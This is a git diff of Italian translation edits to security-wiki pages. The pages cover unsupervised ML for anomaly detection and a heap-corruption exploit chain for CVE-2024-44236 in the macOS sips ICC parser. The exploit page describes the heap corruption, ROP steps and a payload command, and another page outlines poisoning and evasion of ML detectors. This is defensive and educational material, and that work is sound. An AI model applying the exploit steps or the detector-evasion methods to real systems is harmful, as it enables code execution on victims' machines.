Translated ['src/AI/AI-Unsupervised-Learning-Algorithms.md', 'src/binary

2025-10-10 18:36:50 +00:00 · 2025-07-31 10:41:33 +00:00 · 2025-07-31 10:41:33 +00:00 · 9cd33128c3
commit 9cd33128c3
parent 834cd95744
28 changed files with 310 additions and 309 deletions
--- a/src/AI/AI-Unsupervised-Learning-Algorithms.md
+++ b/src/AI/AI-Unsupervised-Learning-Algorithms.md
@ -63,19 +63,19 @@ In questo esempio, K-Means dovrebbe trovare 4 cluster. Il piccolo cluster di att

 Il clustering gerarchico costruisce una gerarchia di cluster utilizzando un approccio dal basso verso l'alto (agglomerativo) o un approccio dall'alto verso il basso (divisivo):

-1. **Agglomerativo (Dal Basso Verso l'Alto)**: Iniziare con ogni punto dati come un cluster separato e unire iterativamente i cluster più vicini fino a quando rimane un singolo cluster o viene soddisfatta una condizione di arresto.
-2. **Divisivo (Dall'Alto Verso il Basso)**: Iniziare con tutti i punti dati in un singolo cluster e dividere iterativamente i cluster fino a quando ogni punto dati è il proprio cluster o viene soddisfatta una condizione di arresto.
+1. **Agglomerativo (Dal Basso Verso l'Alto)**: Inizia con ogni punto dati come un cluster separato e unisce iterativamente i cluster più vicini fino a quando rimane un singolo cluster o viene soddisfatta una condizione di arresto.
+2. **Divisivo (Dall'Alto Verso il Basso)**: Inizia con tutti i punti dati in un singolo cluster e divide iterativamente i cluster fino a quando ogni punto dati è il proprio cluster o viene soddisfatta una condizione di arresto.

-Il clustering agglomerativo richiede una definizione della distanza inter-cluster e un criterio di collegamento per decidere quali cluster unire. I metodi di collegamento comuni includono il collegamento singolo (distanza dei punti più vicini tra due cluster), il collegamento completo (distanza dei punti più lontani), il collegamento medio, ecc., e la metrica di distanza è spesso euclidea. La scelta del collegamento influisce sulla forma dei cluster prodotti. Non è necessario specificare in anticipo il numero di cluster K; è possibile "tagliare" il dendrogramma a un livello scelto per ottenere il numero desiderato di cluster.
+Il clustering agglomerativo richiede una definizione della distanza inter-cluster e un criterio di collegamento per decidere quali cluster unire. I metodi di collegamento comuni includono il collegamento singolo (distanza dei punti più vicini tra due cluster), il collegamento completo (distanza dei punti più lontani), il collegamento medio, ecc., e la metrica di distanza è spesso euclidea. La scelta del collegamento influisce sulla forma dei cluster prodotti. Non è necessario specificare in anticipo il numero di cluster K; puoi "tagliare" il dendrogramma a un livello scelto per ottenere il numero desiderato di cluster.

 Il clustering gerarchico produce un dendrogramma, una struttura ad albero che mostra le relazioni tra i cluster a diversi livelli di granularità. Il dendrogramma può essere tagliato a un livello desiderato per ottenere un numero specifico di cluster.

 > [!TIP]
-> *Casi d'uso nella cybersecurity:* Il clustering gerarchico può organizzare eventi o entità in un albero per individuare relazioni. Ad esempio, nell'analisi del malware, il clustering agglomerativo potrebbe raggruppare i campioni per somiglianza comportamentale, rivelando una gerarchia di famiglie e varianti di malware. Nella sicurezza di rete, si potrebbe raggruppare i flussi di traffico IP e utilizzare il dendrogramma per vedere i sottogruppi di traffico (ad esempio, per protocollo, poi per comportamento). Poiché non è necessario scegliere K in anticipo, è utile quando si esplorano nuovi dati per i quali il numero di categorie di attacco è sconosciuto.
+> *Casi d'uso nella cybersecurity:* Il clustering gerarchico può organizzare eventi o entità in un albero per individuare relazioni. Ad esempio, nell'analisi del malware, il clustering agglomerativo potrebbe raggruppare i campioni per somiglianza comportamentale, rivelando una gerarchia di famiglie e varianti di malware. Nella sicurezza di rete, si potrebbe raggruppare i flussi di traffico IP e utilizzare il dendrogramma per vedere i sottogruppi di traffico (ad es., per protocollo, poi per comportamento). Poiché non è necessario scegliere K in anticipo, è utile quando si esplorano nuovi dati per i quali il numero di categorie di attacco è sconosciuto.

 #### Assunzioni e Limitazioni

-Il clustering gerarchico non assume una forma particolare del cluster e può catturare cluster annidati. È utile per scoprire tassonomie o relazioni tra gruppi (ad esempio, raggruppare il malware per sottogruppi familiari). È deterministico (nessun problema di inizializzazione casuale). Un vantaggio chiave è il dendrogramma, che fornisce informazioni sulla struttura di clustering dei dati a tutte le scale – gli analisti della sicurezza possono decidere un taglio appropriato per identificare cluster significativi. Tuttavia, è computazionalmente costoso (tipicamente $O(n^2)$ tempo o peggio per implementazioni naive) e non fattibile per dataset molto grandi. È anche una procedura avido – una volta che una fusione o una divisione è stata effettuata, non può essere annullata, il che può portare a cluster subottimali se si verifica un errore all'inizio. Gli outlier possono anche influenzare alcune strategie di collegamento (il collegamento singolo può causare l'effetto "chaining" in cui i cluster si collegano tramite outlier).
+Il clustering gerarchico non assume una forma particolare del cluster e può catturare cluster annidati. È utile per scoprire tassonomie o relazioni tra gruppi (ad es., raggruppare il malware per sottogruppi familiari). È deterministico (nessun problema di inizializzazione casuale). Un vantaggio chiave è il dendrogramma, che fornisce informazioni sulla struttura di clustering dei dati a tutte le scale – gli analisti della sicurezza possono decidere un taglio appropriato per identificare cluster significativi. Tuttavia, è computazionalmente costoso (tipicamente $O(n^2)$ tempo o peggio per implementazioni naive) e non fattibile per dataset molto grandi. È anche una procedura avido – una volta che una fusione o una divisione è stata effettuata, non può essere annullata, il che può portare a cluster subottimali se si verifica un errore all'inizio. Gli outlier possono anche influenzare alcune strategie di collegamento (il collegamento singolo può causare l'effetto "chaining" in cui i cluster si collegano tramite outlier).

 <details>
 <summary>Esempio -- Clustering Agglomerativo di Eventi
@ -110,14 +110,14 @@ DBSCAN funziona definendo due parametri:
 - **MinPts**: Il numero minimo di punti richiesti per formare una regione densa (punto centrale).

 DBSCAN identifica punti centrali, punti di confine e punti di rumore:
- **Punto Centrale**: Un punto con almeno MinPts vicini entro una distanza ε.
- **Punto di Confine**: Un punto che si trova entro una distanza ε da un punto centrale ma ha meno di MinPts vicini.
+- **Punto Centrale**: Un punto con almeno MinPts vicini entro una distanza di ε.
+- **Punto di Confine**: Un punto che si trova entro una distanza di ε da un punto centrale ma ha meno di MinPts vicini.
 - **Punto di Rumore**: Un punto che non è né un punto centrale né un punto di confine.

 Il clustering procede scegliendo un punto centrale non visitato, contrassegnandolo come un nuovo cluster, quindi aggiungendo ricorsivamente tutti i punti raggiungibili per densità da esso (punti centrali e i loro vicini, ecc.). I punti di confine vengono aggiunti al cluster di un punto centrale vicino. Dopo aver espanso tutti i punti raggiungibili, DBSCAN passa a un altro punto centrale non visitato per avviare un nuovo cluster. I punti non raggiunti da alcun punto centrale rimangono etichettati come rumore.

 > [!TIP]
-> *Casi d'uso nella cybersecurity:* DBSCAN è utile per la rilevazione di anomalie nel traffico di rete. Ad esempio, l'attività normale degli utenti potrebbe formare uno o più cluster densi nello spazio delle caratteristiche, mentre i comportamenti di attacco nuovi appaiono come punti sparsi che DBSCAN etichetterà come rumore (outlier). È stato utilizzato per raggruppare registri di flusso di rete, dove può rilevare scansioni di porte o traffico di denial-of-service come regioni sparse di punti. Un'altra applicazione è il raggruppamento di varianti di malware: se la maggior parte dei campioni si raggruppa per famiglie ma alcuni non si adattano da nessuna parte, quei pochi potrebbero essere malware zero-day. La capacità di segnalare il rumore significa che i team di sicurezza possono concentrarsi sull'indagine di quegli outlier.
+> *Casi d'uso nella cybersecurity:* DBSCAN è utile per la rilevazione di anomalie nel traffico di rete. Ad esempio, l'attività normale degli utenti potrebbe formare uno o più cluster densi nello spazio delle caratteristiche, mentre i comportamenti di attacco nuovi appaiono come punti sparsi che DBSCAN etichetterà come rumore (outlier). È stato utilizzato per raggruppare i record di flusso di rete, dove può rilevare scansioni di porte o traffico di denial-of-service come regioni sparse di punti. Un'altra applicazione è il raggruppamento delle varianti di malware: se la maggior parte dei campioni si raggruppa per famiglie ma alcuni non si adattano da nessuna parte, quei pochi potrebbero essere malware zero-day. La capacità di segnalare il rumore significa che i team di sicurezza possono concentrarsi sull'indagine di quegli outlier.

 #### Assunzioni e Limitazioni

@ -149,7 +149,7 @@ num_noise = np.sum(labels == -1)
 print(f"DBSCAN found {num_clusters} clusters and {num_noise} noise points")
 print("Cluster labels for first 10 points:", labels[:10])
 ```
-In questo frammento, abbiamo sintonizzato `eps` e `min_samples` per adattarli alla scala dei nostri dati (15.0 in unità di caratteristica e richiedendo 5 punti per formare un cluster). DBSCAN dovrebbe trovare 2 cluster (i cluster di traffico normale) e contrassegnare i 5 outlier iniettati come rumore. Produciamo il numero di cluster rispetto ai punti di rumore per verificare questo. In un contesto reale, si potrebbe iterare su ε (utilizzando un'euristica del grafo della distanza k per scegliere ε) e MinPts (spesso impostato intorno alla dimensionalità dei dati + 1 come regola empirica) per trovare risultati di clustering stabili. La capacità di etichettare esplicitamente il rumore aiuta a separare i dati potenzialmente attaccati per ulteriori analisi.
+In questo frammento, abbiamo sintonizzato `eps` e `min_samples` per adattarli alla scala dei nostri dati (15.0 in unità di caratteristica e richiedendo 5 punti per formare un cluster). DBSCAN dovrebbe trovare 2 cluster (i cluster di traffico normale) e contrassegnare i 5 outlier iniettati come rumore. Produciamo il numero di cluster rispetto ai punti di rumore per verificare questo. In un contesto reale, si potrebbe iterare su ε (utilizzando un'euristica del grafo della distanza k per scegliere ε) e MinPts (spesso impostato intorno alla dimensionalità dei dati + 1 come regola empirica) per trovare risultati di clustering stabili. La capacità di etichettare esplicitamente il rumore aiuta a separare i dati potenziali di attacco per ulteriori analisi.

 </details>

@ -197,7 +197,7 @@ Spieghiamo questo con un esempio. Immagina di avere un dataset con molte immagin

 #### Assunzioni e Limitazioni

-La PCA assume che **gli assi principali di varianza siano significativi** – è un metodo lineare, quindi cattura correlazioni lineari nei dati. È non supervisionato poiché utilizza solo la covarianza delle caratteristiche. I vantaggi della PCA includono la riduzione del rumore (componenti a bassa varianza spesso corrispondono a rumore) e la decorrelazione delle caratteristiche. È computazionalmente efficiente per dimensioni moderatamente elevate ed è spesso un utile passo di preprocessing per altri algoritmi (per mitigare la maledizione della dimensionalità). Una limitazione è che la PCA è limitata a relazioni lineari – non catturerà strutture complesse non lineari (mentre autoencoder o t-SNE potrebbero). Inoltre, le componenti della PCA possono essere difficili da interpretare in termini di caratteristiche originali (sono combinazioni di caratteristiche originali). Nella cybersecurity, bisogna essere cauti: un attacco che causa solo un cambiamento sottile in una caratteristica a bassa varianza potrebbe non apparire nelle prime PC (poiché la PCA dà priorità alla varianza, non necessariamente all'"interessantezza").
+La PCA assume che **gli assi principali di varianza siano significativi** – è un metodo lineare, quindi cattura correlazioni lineari nei dati. È non supervisionato poiché utilizza solo la covarianza delle caratteristiche. I vantaggi della PCA includono la riduzione del rumore (componenti a bassa varianza spesso corrispondono a rumore) e la decorrelazione delle caratteristiche. È computazionalmente efficiente per dimensioni moderatamente elevate ed è spesso un utile passo di preprocessing per altri algoritmi (per mitigare la maledizione della dimensionalità). Una limitazione è che la PCA è limitata a relazioni lineari – non catturerà strutture complesse non lineari (mentre autoencoder o t-SNE potrebbero). Inoltre, le componenti PCA possono essere difficili da interpretare in termini di caratteristiche originali (sono combinazioni di caratteristiche originali). Nella cybersecurity, bisogna essere cauti: un attacco che causa solo un cambiamento sottile in una caratteristica a bassa varianza potrebbe non apparire nelle prime PC (poiché la PCA dà priorità alla varianza, non necessariamente all'"interessantezza").

 <details>
 <summary>Esempio -- Riduzione delle Dimensioni dei Dati di Rete
@ -236,7 +236,7 @@ L'adattamento di GMM viene tipicamente eseguito tramite l'algoritmo di Massimizz

 - **Inizializzazione**: Iniziare con stime iniziali per le medie, le covarianze e i coefficienti di miscelazione (o utilizzare i risultati di K-Means come punto di partenza).

- **E-step (Aspettativa)**: Dati i parametri attuali, calcolare la responsabilità di ciascun cluster per ciascun punto: essenzialmente `r_nk = P(z_k | x_n)` dove z_k è la variabile latente che indica l'appartenenza al cluster per il punto x_n. Questo viene fatto utilizzando il teorema di Bayes, dove calcoliamo la probabilità posteriore di ciascun punto appartenente a ciascun cluster in base ai parametri attuali. Le responsabilità vengono calcolate come:
+- **E-step (Aspettativa)**: Dati i parametri attuali, calcolare la responsabilità di ciascun cluster per ogni punto: essenzialmente `r_nk = P(z_k | x_n)` dove z_k è la variabile latente che indica l'appartenenza al cluster per il punto x_n. Questo viene fatto usando il teorema di Bayes, dove calcoliamo la probabilità posteriore di ciascun punto appartenente a ciascun cluster in base ai parametri attuali. Le responsabilità sono calcolate come:
 ```math
 r_{nk} = \frac{\pi_k \mathcal{N}(x_n | \mu_k, \Sigma_k)}{\sum_{j=1}^{K} \pi_j \mathcal{N}(x_n | \mu_j, \Sigma_j)}
 ```
@ -245,8 +245,8 @@ dove:
 - \( \mathcal{N}(x_n | \mu_k, \Sigma_k) \) è la funzione di densità di probabilità gaussiana per il punto \( x_n \) dato la media \( \mu_k \) e la covarianza \( \Sigma_k \).

 - **M-step (Massimizzazione)**: Aggiornare i parametri utilizzando le responsabilità calcolate nell'E-step:
- Aggiornare ciascuna media μ_k come la media ponderata dei punti, dove i pesi sono le responsabilità.
- Aggiornare ciascuna covarianza Σ_k come la covarianza ponderata dei punti assegnati al cluster k.
+- Aggiornare ogni media μ_k come la media ponderata dei punti, dove i pesi sono le responsabilità.
+- Aggiornare ogni covarianza Σ_k come la covarianza ponderata dei punti assegnati al cluster k.
 - Aggiornare i coefficienti di miscelazione π_k come la responsabilità media per il cluster k.

 - **Iterare** i passi E e M fino alla convergenza (i parametri si stabilizzano o il miglioramento della verosimiglianza è al di sotto di una soglia).
@ -284,7 +284,8 @@ log_likelihood = gmm.score_samples(sample_attack)
 print("Cluster membership probabilities for sample attack:", probs)
 print("Log-likelihood of sample attack under GMM:", log_likelihood)
 ```
-In questo codice, alleniamo un GMM con 3 Gaussiane sul traffico normale (supponendo di conoscere 3 profili di traffico legittimo). Le medie e le covarianze stampate descrivono questi cluster (ad esempio, una media potrebbe essere intorno a [50,500] corrispondente al centro di un cluster, ecc.). Testiamo quindi una connessione sospetta [duration=200, bytes=800]. La predict_proba fornisce la probabilità che questo punto appartenga a ciascuno dei 3 cluster – ci aspetteremmo che queste probabilità siano molto basse o altamente sbilanciate poiché [200,800] si trova lontano dai cluster normali. Il punteggio overall score_samples (log-verosimiglianza) è stampato; un valore molto basso indica che il punto non si adatta bene al modello, segnalandolo come un'anomalia. In pratica, si potrebbe impostare una soglia sulla log-verosimiglianza (o sulla massima probabilità) per decidere se un punto è sufficientemente improbabile da essere considerato malevolo. GMM fornisce quindi un modo fondato per fare rilevamento delle anomalie e produce anche cluster morbidi che riconoscono l'incertezza.
+In questo codice, alleniamo un GMM con 3 Gaussiane sul traffico normale (supponendo di conoscere 3 profili di traffico legittimo). Le medie e le covarianze stampate descrivono questi cluster (ad esempio, una media potrebbe essere intorno a [50,500] corrispondente al centro di un cluster, ecc.). Testiamo quindi una connessione sospetta [durata=200, byte=800]. La predict_proba fornisce la probabilità che questo punto appartenga a ciascuno dei 3 cluster – ci aspetteremmo che queste probabilità siano molto basse o altamente sbilanciate poiché [200,800] si trova lontano dai cluster normali. Il punteggio complessivo score_samples (log-verosimiglianza) viene stampato; un valore molto basso indica che il punto non si adatta bene al modello, segnalandolo come un'anomalia. In pratica, si potrebbe impostare una soglia sulla log-verosimiglianza (o sulla massima probabilità) per decidere se un punto è sufficientemente improbabile da essere considerato malevolo. GMM fornisce quindi un modo fondato per fare rilevamento delle anomalie e produce anche cluster morbidi che riconoscono l'incertezza.
+</details>

 ### Isolation Forest

@ -321,7 +322,7 @@ print("Isolation Forest predicted labels (first 20):", preds[:20])
 print("Number of anomalies detected:", np.sum(preds == -1))
 print("Example anomaly scores (lower means more anomalous):", anomaly_scores[:5])
 ```
-In questo codice, istanziamo `IsolationForest` con 100 alberi e impostiamo `contamination=0.15` (il che significa che ci aspettiamo circa il 15% di anomalie; il modello imposterà la sua soglia di punteggio in modo che ~15% dei punti siano contrassegnati). Lo adattiamo su `X_test_if` che contiene un mix di punti normali e di attacco (nota: normalmente si adatterebbe ai dati di addestramento e poi si userebbe predict su nuovi dati, ma qui per illustrazione ci adattiamo e prevediamo sullo stesso insieme per osservare direttamente i risultati).
+In questo codice, istanziamo `IsolationForest` con 100 alberi e impostiamo `contamination=0.15` (il che significa che ci aspettiamo circa il 15% di anomalie; il modello imposterà la sua soglia di punteggio in modo che ~15% dei punti siano contrassegnati). Lo adattiamo su `X_test_if`, che contiene un mix di punti normali e di attacco (nota: normalmente si adatterebbe ai dati di addestramento e poi si userebbe predict su nuovi dati, ma qui per illustrazione ci adattiamo e prevediamo sullo stesso insieme per osservare direttamente i risultati).

 L'output mostra le etichette previste per i primi 20 punti (dove -1 indica un'anomalia). Stampiamo anche quanti anomalie sono state rilevate in totale e alcuni esempi di punteggi di anomalia. Ci aspetteremmo che circa 18 su 120 punti siano etichettati come -1 (poiché la contaminazione era del 15%). Se i nostri 20 campioni di attacco sono davvero i più anomali, la maggior parte di essi dovrebbe apparire in quelle previsioni -1. Il punteggio di anomalia (la funzione di decisione di Isolation Forest) è più alto per i punti normali e più basso (più negativo) per le anomalie – stampiamo alcuni valori per vedere la separazione. In pratica, si potrebbe ordinare i dati per punteggio per vedere i principali outlier e indagarli. Isolation Forest fornisce quindi un modo efficiente per setacciare grandi dati di sicurezza non etichettati e selezionare le istanze più irregolari per un'analisi umana o un'ulteriore scrutinio automatizzato.

@ -338,7 +339,7 @@ L'algoritmo ha due fasi principali:
 Il risultato è spesso un diagramma a dispersione visivamente significativo dove i cluster nei dati diventano evidenti.

 > [!TIP]
-> *Casi d'uso nella cybersecurity:* t-SNE è spesso utilizzato per **visualizzare dati di sicurezza ad alta dimensione per analisi umane**. Ad esempio, in un centro operazioni di sicurezza, gli analisti potrebbero prendere un dataset di eventi con dozzine di caratteristiche (numeri di porta, frequenze, conteggi di byte, ecc.) e utilizzare t-SNE per produrre un grafico 2D. Gli attacchi potrebbero formare i propri cluster o separarsi dai dati normali in questo grafico, rendendoli più facili da identificare. È stato applicato a dataset di malware per vedere i raggruppamenti di famiglie di malware o a dati di intrusione di rete dove diversi tipi di attacco si raggruppano distintamente, guidando ulteriori indagini. Fondamentalmente, t-SNE fornisce un modo per vedere la struttura nei dati informatici che altrimenti sarebbe incomprensibile.
+> *Casi d'uso nella cybersecurity:* t-SNE è spesso utilizzato per **visualizzare dati di sicurezza ad alta dimensione per analisi umane**. Ad esempio, in un centro operazioni di sicurezza, gli analisti potrebbero prendere un dataset di eventi con dozzine di caratteristiche (numeri di porta, frequenze, conteggi di byte, ecc.) e utilizzare t-SNE per produrre un grafico 2D. Gli attacchi potrebbero formare i propri cluster o separarsi dai dati normali in questo grafico, rendendoli più facili da identificare. È stato applicato a dataset di malware per vedere raggruppamenti di famiglie di malware o a dati di intrusione di rete dove diversi tipi di attacco si raggruppano distintamente, guidando ulteriori indagini. Fondamentalmente, t-SNE fornisce un modo per vedere la struttura nei dati informatici che altrimenti sarebbe incomprensibile.

 #### Assunzioni e Limitazioni

@ -433,20 +434,20 @@ plt.legend()
 plt.tight_layout()
 plt.show()
 ```
-Qui abbiamo combinato il nostro precedente dataset normale 4D con un numero limitato di outlier estremi (gli outlier hanno una caratteristica (“durata”) impostata molto alta, ecc., per simulare un modello strano). Eseguiamo t-SNE con una perplessità tipica di 30. I dati di output_2d hanno forma (1505, 2). In realtà non tracciamo in questo testo, ma se lo facessimo, ci aspetteremmo di vedere forse tre cluster compatti corrispondenti ai 3 cluster normali, e i 5 outlier apparire come punti isolati lontani da quei cluster. In un flusso di lavoro interattivo, potremmo colorare i punti in base alla loro etichetta (normale o quale cluster, rispetto all'anomalia) per verificare questa struttura. Anche senza etichette, un analista potrebbe notare quei 5 punti seduti in uno spazio vuoto nel grafico 2D e segnalarli. Questo dimostra come t-SNE possa essere un potente aiuto per la rilevazione visiva delle anomalie e l'ispezione dei cluster nei dati di cybersecurity, complementando gli algoritmi automatizzati sopra.
+Qui abbiamo combinato il nostro precedente dataset normale 4D con un numero limitato di outlier estremi (gli outlier hanno una caratteristica (“durata”) impostata molto alta, ecc., per simulare un modello strano). Eseguiamo t-SNE con una perplessità tipica di 30. I dati di output_2d hanno forma (1505, 2). In realtà non tracciamo in questo testo, ma se lo facessimo, ci aspetteremmo di vedere forse tre cluster compatti corrispondenti ai 3 cluster normali, e i 5 outlier apparire come punti isolati lontani da quei cluster. In un flusso di lavoro interattivo, potremmo colorare i punti in base alla loro etichetta (normale o quale cluster, vs anomalia) per verificare questa struttura. Anche senza etichette, un analista potrebbe notare quei 5 punti seduti in uno spazio vuoto nel grafico 2D e segnalarli. Questo dimostra come t-SNE possa essere un potente aiuto per la rilevazione visiva delle anomalie e l'ispezione dei cluster nei dati di cybersecurity, complementando gli algoritmi automatizzati sopra.

 </details>

 ### HDBSCAN (Clustering Spaziale Gerarchico Basato sulla Densità delle Applicazioni con Rumore)

-**HDBSCAN** è un'estensione di DBSCAN che rimuove la necessità di scegliere un singolo valore globale `eps` e riesce a recuperare cluster di **diversa densità** costruendo una gerarchia di componenti connesse per densità e poi condensandola. Rispetto al DBSCAN standard, di solito
+**HDBSCAN** è un'estensione di DBSCAN che rimuove la necessità di scegliere un singolo valore globale di `eps` e riesce a recuperare cluster di **diversa densità** costruendo una gerarchia di componenti connessi per densità e poi condensandola. Rispetto al DBSCAN standard, di solito

 * estrae cluster più intuitivi quando alcuni cluster sono densi e altri sono rari,
 * ha solo un vero iperparametro (`min_cluster_size`) e un valore predefinito sensato,
-* fornisce a ogni punto una *probabilità* di appartenenza al cluster e un **punteggio di outlier** (`outlier_scores_`), che è estremamente utile per i cruscotti di threat-hunting.
+* fornisce a ogni punto una *probabilità* di appartenenza al cluster e un **punteggio di outlier** (`outlier_scores_`), che è estremamente utile per i dashboard di threat-hunting.

 > [!TIP]
-> *Casi d'uso nella cybersecurity:* HDBSCAN è molto popolare nei moderni pipeline di threat-hunting – lo vedrai spesso all'interno di playbook di hunting basati su notebook forniti con suite commerciali di XDR. Una ricetta pratica è quella di raggruppare il traffico di beaconing HTTP durante l'IR: user-agent, intervallo e lunghezza URI formano spesso diversi gruppi compatti di aggiornamenti software legittimi mentre i beacon C2 rimangono come piccoli cluster a bassa densità o come puro rumore.
+> *Casi d'uso nella cybersecurity:* HDBSCAN è molto popolare nei moderni pipeline di threat-hunting – lo vedrai spesso all'interno di playbook di hunting basati su notebook forniti con suite commerciali di XDR. Una ricetta pratica è quella di raggruppare il traffico di beaconing HTTP durante l'IR: user-agent, intervallo e lunghezza URI formano spesso diversi gruppi compatti di aggiornatori software legittimi mentre i beacon C2 rimangono come piccoli cluster a bassa densità o come puro rumore.

 <details>
 <summary>Esempio – Trovare canali C2 di beaconing</summary>
@ -481,13 +482,13 @@ print("Suspect beacon count:", len(suspects))

 Lavori recenti hanno dimostrato che **i modelli di apprendimento non supervisionato *non* sono immuni a attaccanti attivi**:

-* **Avvelenamento dei dati contro i rilevatori di anomalie.** Chen *et al.* (IEEE S&P 2024) ha dimostrato che aggiungere solo il 3 % di traffico creato ad hoc può spostare il confine decisionale di Isolation Forest e ECOD in modo che attacchi reali appaiano normali. Gli autori hanno rilasciato un PoC open-source (`udo-poison`) che sintetizza automaticamente i punti di avvelenamento.
+* **Avvelenamento dei dati contro i rilevatori di anomalie.** Chen *et al.* (IEEE S&P 2024) ha dimostrato che aggiungere solo il 3 % di traffico creato ad hoc può spostare il confine decisionale di Isolation Forest ed ECOD in modo che attacchi reali appaiano normali. Gli autori hanno rilasciato un PoC open-source (`udo-poison`) che sintetizza automaticamente i punti di avvelenamento.
 * **Backdooring dei modelli di clustering.** La tecnica *BadCME* (BlackHat EU 2023) impianta un piccolo pattern di attivazione; ogni volta che quel trigger appare, un rilevatore basato su K-Means colloca silenziosamente l'evento all'interno di un cluster “benigno”.
-* **Evasione di DBSCAN/HDBSCAN.** Un pre-stampa accademica del 2025 da KU Leuven ha mostrato che un attaccante può creare pattern di beaconing che cadono intenzionalmente in gap di densità, nascondendosi efficacemente all'interno di etichette di *rumore*.
+* **Evasione di DBSCAN/HDBSCAN.** Un pre-stampa accademica del 2025 da KU Leuven ha mostrato che un attaccante può creare pattern di beaconing che cadono intenzionalmente in gap di densità, nascondendosi efficacemente all'interno delle etichette di *rumore*.

 Mitigazioni che stanno guadagnando attenzione:

-1. **Sanitizzazione del modello / TRIM.** Prima di ogni epoca di riaddestramento, scartare l'1-2 % dei punti con la perdita più alta (massima verosimiglianza ridotta) per rendere l'avvelenamento drammaticamente più difficile.
+1. **Sanitizzazione del modello / TRIM.** Prima di ogni epoca di riaddestramento, scartare l'1–2 % dei punti con la perdita più alta (massima verosimiglianza ridotta) per rendere l'avvelenamento drasticamente più difficile.
 2. **Ensemble di consenso.** Combinare diversi rilevatori eterogenei (ad es., Isolation Forest + GMM + ECOD) e sollevare un allerta se *qualunque* modello segnala un punto. La ricerca indica che questo aumenta il costo per l'attaccante di oltre 10×.
 3. **Difesa basata sulla distanza per il clustering.** Ricalcolare i cluster con `k` semi casuali diversi e ignorare i punti che saltano costantemente tra i cluster.

--- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md
@ -4,7 +4,7 @@

 ## Panoramica

-Una vulnerabilità di **zero-write** fuori dai limiti nel parser del profilo ICC del **Scriptable Image Processing System** (`sips`) di Apple macOS (macOS 15.0.1, `sips-307`) consente a un attaccante di corrompere i metadati dell'heap e di trasformare il primitivo in esecuzione di codice completo. Il bug si trova nella gestione del campo `offsetToCLUT` dei tag `lutAToBType` (`mAB `) e `lutBToAType` (`mBA `). Se gli attaccanti impostano `offsetToCLUT == tagDataSize`, il parser cancella **16 byte oltre la fine del buffer dell'heap**. Il heap spraying consente all'attaccante di azzerare le strutture dell'allocatore o i puntatori C++ che verranno successivamente dereferenziati, producendo una catena di **arbitrary-write-to-exec** (CVE-2024-44236, CVSS 7.8).
+Una vulnerabilità di **zero-write** fuori dai limiti nel parser del profilo ICC del **Scriptable Image Processing System** (`sips`) di Apple macOS (macOS 15.0.1, `sips-307`) consente a un attaccante di corrompere i metadati dell'heap e di pivotare il primitivo in un'esecuzione di codice completa. Il bug si trova nella gestione del campo `offsetToCLUT` dei tag `lutAToBType` (`mAB `) e `lutBToAType` (`mBA `). Se gli attaccanti impostano `offsetToCLUT == tagDataSize`, il parser cancella **16 byte oltre la fine del buffer dell'heap**. Il heap spraying consente all'attaccante di azzerare le strutture dell'allocatore o i puntatori C++ che verranno successivamente dereferenziati, producendo una catena di **arbitrary-write-to-exec** (CVE-2024-44236, CVSS 7.8).

 > Apple ha corretto il bug in macOS Sonoma 15.2 / Ventura 14.7.1 (30 ottobre 2024). Una seconda variante (CVE-2025-24185) è stata risolta in macOS 15.5 e iOS/iPadOS 18.5 il 1 aprile 2025.

@ -35,7 +35,7 @@ sips -s format png payload.jpg --out out.png
 ```

 3. **Corruzione dei metadati dell'heap ➜ scrittura arbitraria ➜ ROP**
-Sull'allocatore **`nano_zone`** predefinito di Apple, i metadati per slot da 16 byte si trovano **immediatamente dopo** il blocco allineato 0x1000. Posizionando il tag del profilo alla fine di un tale blocco, le 16 scritture zero danneggiano `meta->slot_B`. Dopo un successivo `free`, il puntatore avvelenato viene inserito nella lista di piccole allocazioni libere, consentendo all'attaccante di **allocare un oggetto falso a un indirizzo arbitrario** e sovrascrivere un puntatore vtable C++ utilizzato da sips, infine deviando l'esecuzione verso una catena ROP memorizzata nel buffer ICC malevolo.
+Sull'allocatore **`nano_zone`** predefinito di Apple, i metadati per slot da 16 byte si trovano **immediatamente dopo** il blocco allineato 0x1000. Posizionando il tag del profilo alla fine di un tale blocco, le 16 scritture zero sovrascrivono `meta->slot_B`. Dopo un successivo `free`, il puntatore avvelenato viene inserito nella lista di piccole allocazioni libere, consentendo all'attaccante di **allocare un oggetto falso a un indirizzo arbitrario** e sovrascrivere un puntatore vtable C++ utilizzato da sips, infine deviando l'esecuzione verso una catena ROP memorizzata nel buffer ICC malevolo.

 ### Generatore PoC rapido (Python 3)
 ```python
@ -77,15 +77,15 @@ uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
 ```
 ## Impatto

-L'apertura o l'elaborazione di un profilo ICC creato ad hoc porta all'**esecuzione arbitraria di codice** da remoto nel contesto dell'utente che lo invoca (Preview, QuickLook, rendering delle immagini in Safari, allegati di Mail, ecc.), eludendo Gatekeeper poiché il profilo può essere incorporato all'interno di immagini altrimenti innocue (PNG/JPEG/TIFF).
+L'apertura o l'elaborazione di un profilo ICC creato ad hoc porta all'**esecuzione arbitraria di codice** remoto nel contesto dell'utente che lo invoca (Preview, QuickLook, rendering di immagini Safari, allegati di Mail, ecc.), eludendo Gatekeeper poiché il profilo può essere incorporato all'interno di immagini altrimenti innocue (PNG/JPEG/TIFF).

 ## Rilevamento e Mitigazione

 * **Patch!** Assicurati che l'host stia eseguendo macOS ≥ 15.2 / 14.7.1 (o iOS/iPadOS ≥ 18.1).
 * Distribuisci la regola YARA sopra sui gateway email e sulle soluzioni EDR.
-* Rimuovi o sanifica i profili ICC incorporati con `exiftool -icc_profile= -overwrite_original <file>` prima di ulteriori elaborazioni su file non attendibili.
+* Rimuovi o sanifica i profili ICC incorporati con `exiftool -icc_profile= -overwrite_original <file>` prima di ulteriori elaborazioni su file non fidati.
 * Indurire Preview/QuickLook eseguendoli all'interno di VM "sandboxed" di “trasparenza e modernizzazione” quando si analizzano contenuti sconosciuti.
-* Per DFIR, cerca l'esecuzione recente di `sips --verifyColor` o i caricamenti della libreria `ColorSync` da parte di app sandboxed nel log unificato.
+* Per DFIR, cerca l'esecuzione recente di `sips --verifyColor` o caricamenti della libreria `ColorSync` da parte di app sandboxed nel log unificato.

 ## Riferimenti

--- a/src/binary-exploitation/libc-heap/heap-overflow.md
+++ b/src/binary-exploitation/libc-heap/heap-overflow.md
@ -27,7 +27,7 @@ Quindi, alcuni di questi segnaposto possono essere **liberati**. La **lista libe

 ### Esempio libc

